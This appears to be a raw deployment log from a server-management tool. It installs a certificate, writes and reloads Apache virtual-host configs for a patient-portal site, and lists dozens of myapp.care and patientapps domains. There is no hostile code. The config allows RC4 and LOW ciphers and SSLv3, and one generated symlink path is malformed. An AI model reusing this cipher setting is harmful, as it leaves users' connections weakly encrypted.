dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-11-03 06:03:42:
chmod 755 /tmp/pkp250776; /tmp/pkp250776; rm /tmp/pkp250776
2025-11-03 06:03:42:
dir=/etc/ssl/certs
2025-11-03 06:03:42:
PUT: /tmp/pkp582319
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/patientapps_pai_net.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-03 06:03:42:
chmod 755 /tmp/pkp582319; /tmp/pkp582319; rm /tmp/pkp582319
2025-11-03 06:03:42:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_pai_net.conf 43
<VirtualHost *:80>
ServerName pai.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/pai_access.log combined
ErrorLog /var/log/apache2/patientapps/pai_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName pai.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt
SetEnv SIMPLESAMLPHP_CONFIG_DIR /var/simplesamlphp/config
Alias /simplesaml /var/simplesamlphp/www
<Directory /var/simplesamlphp/www>
Require all granted
</Directory>
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/pai_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/pai_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-03 06:03:42:
PUT: /tmp/pkp146522
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_pai_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_pai_net.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName pai.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/pai_access.log combined
ErrorLog /var/log/apache2/patientapps/pai_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName pai.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt
SetEnv SIMPLESAMLPHP_CONFIG_DIR /var/simplesamlphp/config
Alias /simplesaml /var/simplesamlphp/www
<Directory /var/simplesamlphp/www>
Require all granted
</Directory>
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/pai_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/pai_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/patientapps_pai_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/patientapps_pai_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_pai_net.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_pai_net.conf= 1'
fi
2025-11-03 06:03:42:
chmod 755 /tmp/pkp146522; /tmp/pkp146522; rm /tmp/pkp146522
2025-11-03 06:03:42:
2025-11-03 06:03:42:
PUT: /tmp/pkp743975
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-03 06:03:42:
chmod 755 /tmp/pkp743975; /tmp/pkp743975; rm /tmp/pkp743975
2025-11-03 06:03:42:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-03 06:03:42: Establishing a connection
2025-11-03 06:03:42:
PUT: /tmp/pkp204710
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-11-03 06:03:42:
chmod 755 /tmp/pkp204710; /tmp/pkp204710; rm /tmp/pkp204710
2025-11-03 06:03:42:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
alias myapp.care
port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
alias www.cn-dego.myapp.care
port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
alias www.d-oak.myapp.care
port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
alias www.ma1-acrp.myapp.care
port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
alias www.ma1-anfr.myapp.care
port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
alias www.ma1-anin.myapp.care
port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
alias www.ma1-ankp.myapp.care
port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
alias www.ma1-anrp.myapp.care
port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
alias www.ma1-arcr.myapp.care
port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
alias www.ma1-asst.myapp.care
port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
alias www.ma1-chel.myapp.care
port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
alias www.ma1-cybb.myapp.care
port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
alias www.ma1-epas.myapp.care
port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
alias www.ma1-fass.myapp.care
port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
alias www.ma1-ldhr.myapp.care
port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
alias www.ma1-lsst.myapp.care
port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
alias www.ma1-mtfp.myapp.care
port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
alias www.ma1-mvrc.myapp.care
port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
alias www.ma1-octf.myapp.care
port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
alias www.ma1-ovin.myapp.care
port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
alias www.ma1-pfer.myapp.care
port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
alias www.ma1-prls.myapp.care
port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
alias www.ma1-rcl.myapp.care
port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
alias www.ma1-rorp.myapp.care
port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
alias www.ma1-savr.myapp.care
port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
alias www.ma1-shem.myapp.care
port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
alias www.ma1-sspr.myapp.care
port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
alias www.ma1-tosr.myapp.care
port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
alias www.ma1-tylo.myapp.care
port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
alias www.ma1-typa.myapp.care
port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
alias www.ma1-tyto.myapp.care
port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
alias www.ma1-utfa.myapp.care
port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
alias www.ma1-vasc.myapp.care
port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
alias www.ma1-vasr.myapp.care
port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
alias www.ma2-acrp.myapp.care
port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
alias www.ma2-anar.myapp.care
port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
alias www.ma2-anfr.myapp.care
port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
alias www.ma2-anin.myapp.care
port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
alias www.ma2-anrp.myapp.care
port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
alias www.ma2-buni.myapp.care
port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
alias www.ma2-chel.myapp.care
port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
alias www.ma2-hamm.myapp.care
port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
alias www.ma2-hind.myapp.care
port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
alias www.ma2-lcl.myapp.care
port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
alias www.ma2-mdfu.myapp.care
port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
alias www.ma2-mtfp.myapp.care
port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
alias www.ma2-rcl.myapp.care
port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
alias www.pai-lc.myapp.care
port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
alias 847670.myapp.care
alias 573398.myapp.care
port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
alias www.pai-rco.myapp.care
port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
alias www.sma1-lgb.myapp.care
port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
alias www.sma1-lrygb.myapp.care
port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
alias www.sma1-lsg.myapp.care
port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
alias www.sma1-pcnl.myapp.care
port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
alias www.test.myapp.care
port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
alias www.version2.myapp.care
wild alias *.myapp.care
port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
alias live.patientapps.net
port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
alias www.patientapps.net
port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
alias store.patientapps.com
alias store.patientapps.co
port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
*:443 is a NameVirtualHost
default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
alias myapp.care
port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
alias www.cn-dego.myapp.care
port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
alias www.d-oak.myapp.care
port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
alias www.ma1-acrp.myapp.care
port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
alias www.ma1-anfr.myapp.care
port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
alias www.ma1-anin.myapp.care
port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
alias www.ma1-ankp.myapp.care
port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
alias www.ma1-anrp.myapp.care
port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
alias www.ma1-arcr.myapp.care
port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
alias www.ma1-asst.myapp.care
port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
alias www.ma1-chel.myapp.care
port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
alias www.ma1-cybb.myapp.care
port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
alias www.ma1-dego.myapp.care
port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
alias www.ma1-epas.myapp.care
port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
alias www.ma1-fass.myapp.care
port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
alias www.ma1-ldhr.myapp.care
port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
alias www.ma1-lsst.myapp.care
port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
alias www.ma1-mtfp.myapp.care
port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
alias www.ma1-mvrc.myapp.care
port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
alias www.ma1-octf.myapp.care
port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
alias www.ma1-ovin.myapp.care
port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
alias www.ma1-pfer.myapp.care
port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
alias www.ma1-prls.myapp.care
port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
alias www.ma1-rcl.myapp.care
port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
alias www.ma1-rorp.myapp.care
port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
alias www.ma1-savr.myapp.care
port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
alias www.ma1-shem.myapp.care
port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
alias www.ma1-sspr.myapp.care
port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
alias www.ma1-tosr.myapp.care
port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
alias www.ma1-tylo.myapp.care
port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
alias www.ma1-typa.myapp.care
port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
alias www.ma1-tyto.myapp.care
port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
alias www.ma1-utfa.myapp.care
port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
alias www.ma1-vasc.myapp.care
port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
alias www.ma1-vasr.myapp.care
port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
alias www.ma2-acrp.myapp.care
port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
alias www.ma2-anar.myapp.care
port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
alias www.ma2-anfr.myapp.care
port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
alias www.ma2-anin.myapp.care
port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
alias www.ma2-anrp.myapp.care
port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
alias www.ma2-buni.myapp.care
port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
alias www.ma2-chel.myapp.care
port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
alias www.ma2-hamm.myapp.care
port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
alias www.ma2-hind.myapp.care
port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
alias www.ma2-lcl.myapp.care
port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
alias www.ma2-mdfu.myapp.care
port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
alias www.ma2-mtfp.myapp.care
port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
alias www.ma2-rcl.myapp.care
port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
alias www.pai-lc.myapp.care
port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
alias 847670.myapp.care
alias 573398.myapp.care
port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
alias www.pai-rco.myapp.care
port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
alias www.sma1-lgb.myapp.care
port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
alias www.sma1-lrygb.myapp.care
port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
